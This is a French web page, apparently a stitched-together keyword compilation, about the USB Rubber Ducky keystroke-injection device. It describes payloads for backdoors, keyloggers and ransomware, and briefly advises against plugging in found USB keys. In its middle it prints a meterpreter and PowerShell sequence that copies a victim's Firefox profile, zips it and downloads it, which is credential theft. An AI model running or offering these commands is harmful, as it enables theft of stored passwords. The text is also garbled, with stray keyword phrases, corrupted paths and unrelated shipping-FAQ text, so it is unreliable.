Créer Une Rubber Ducky
Je viens de découvrir grâce à l'ami Yoan un petit périphérique USB baptisé USB Rubber Ducky qui va vous permettre de jouer au petit hacker ou de rendre fous vos amis. Alors comment ça fonctionne? Et bien il s'agit d'une clé USB qui a la particularité de se comporter exactement comme un clavier dès que vous la branchez. Créer une rubber ducky images. Mais pas n'importe quel clavier…. Un clavier qui écrira tout seul le code que vous lui aurez dit d'écrire à l'avance. Comme n'importe quel clavier, Ducky est reconnu par les OS modernes (Linux, Mac et Windows) et profite de cette confiance aveugle qu'on les OS en les claviers afin de balancer des payloads à la vitesse hallucinante de mille mots par seconde. Quand je dis payload, je parle bien évidemment de scripts que vous pouvez créer vous-même ou récupérer sur le net. Pour vous aider à mieux comprendre l'intérêt de la chose, il suffit simplement de jeter un œil à ces scripts. Par exemple, il y en a un qui permet d'insérer une backdoor (sous OSX), de faire du DNS poisoning en local, de récupérer la config WiFi d'un Windows, de souhaiter Joyeux Noël, de faire tourner l'affichage, de récupérer le profil d'un utilisateur sur un FTP de votre choix, de créer un réseau WiFi sur la machine visée et même d'injecter un binaire.
Créer Une Rubber Ducky Border
Enregistrement du mot de passe De même, un Rubber Ducky peut être configuré pour enregistrer les frappes lors de la connexion à n'importe quelle plate-forme. C'est ce qu'on appelle l'enregistreur de frappe, et c'est un type de logiciel malveillant qui est responsable du vol des codes d'accès en enregistrant tout ce que nous mettons. C'est sans aucun doute l'un des dangers les plus importants de cette clé USB particulière. Le mot de passe est la principale barrière de sécurité pour tout ordinateur ou compte d'utilisateur et peut être compromis par un script configuré pour enregistrer tout ce que nous écrivons. Comment se protéger d'un canard en caoutchouc Alors que pouvons-nous faire pour nous protéger et éviter d'être victime de ce problème? La chose la plus importante est sans aucun doute sens commun et méfiance de tout souvenir qui vient à notre rencontre. Par exemple, c'est une erreur importante de mettre une clé USB que nous avons trouvée dans la rue. Créer une Rubber Ducky sur Raspberry Pi (Tutoriel) - YouTube. Il y a eu des cas dans lesquels un attaquant a laissé tomber ce type d'appareil dans des collèges et des centres similaires, où il est probable que quelqu'un le trouve et décide de le brancher sur son ordinateur pour voir ce qu'il y a.
Créer Une Rubber Ducky Music
Demo
(clické sur les images pour voir les videos)
Conclusion:
Ne ramassez pas les clefs usb que vous trouvez dans la rue
Usages
Vol de mots de passe firefox
Keylogger
Screen capture
Downloader et uploader des fichiers
Implémentation d'un ransomeware
Reconnaissance et mouvement transversaux dans le réseau
…
Vol de mots de passe Firefox
meterpreter > shell
> powershell
> cd / users /< user > #(utilisez whoami pr le savoir)
> copy-item / users / 33768 / AppData / Roaming / Mozilla / Firefox / Profiles /*. default -release -destination / windows / temp / mad. default -release -recurse
> Compress-Archive -Path / windows / temp / mad. USB Ducky en caoutchouc. default -release -DestinationPath / windows / temp / mad. default -release. zip
> exit
meterpreter > Download / windows / temp / mad. zip / tmp
[1] Lancer cmd)
[2] Lancer powershell)
[3] Copie des fichiers. default-release de firefox
[4] Compression dans fichiers dans une archive zip
[5-6] On exit 2 fois pour revenir au prompt meterpreter >
[7] Exifltration de l'archive zip
Dans un autre terminal, on unzip et place les fichier dans le répertoire ~/
$ unzip
$ sudo cp -r fault-release /home/
L'adresse utilisée lors de votre achat est imprimée sous forme d'étiquette - veuillez vérifier votre adresse pour éviter toute erreur. Quand ma commande sera-t-elle expédiée? Lab401 expédie les commandes du lundi au vendredi. Toutes les commandes passées avant 12h00 GMT+1 seront expédiées le jour même. Toutes les commandes passées après cette heure limite seront expédiées le jour ouvrable suivant. Créer une rubber ducky music. Par exemple: Une commande passée le vendredi à 9 heures GMT+1 sera expédiée le jour même. Une commande passée le vendredi à 18 heures GMT+1 sera expédiée le lundi. Une commande passée le samedi sera expédiée le lundi. Pour toute question, veuillez contacter le service clientèle. Quelles sont les options d'expédition disponibles? Nous proposons quatre types d'expédition: Courrier standard de l'UE Courrier express de l'UE Courrier standard international Courrier express international Comment sont gérés les droits d'importation et les droits de douane? Pour toutes les destinations de l' Union européenne, tous les envois sont DDP (Delivered Duty Paid).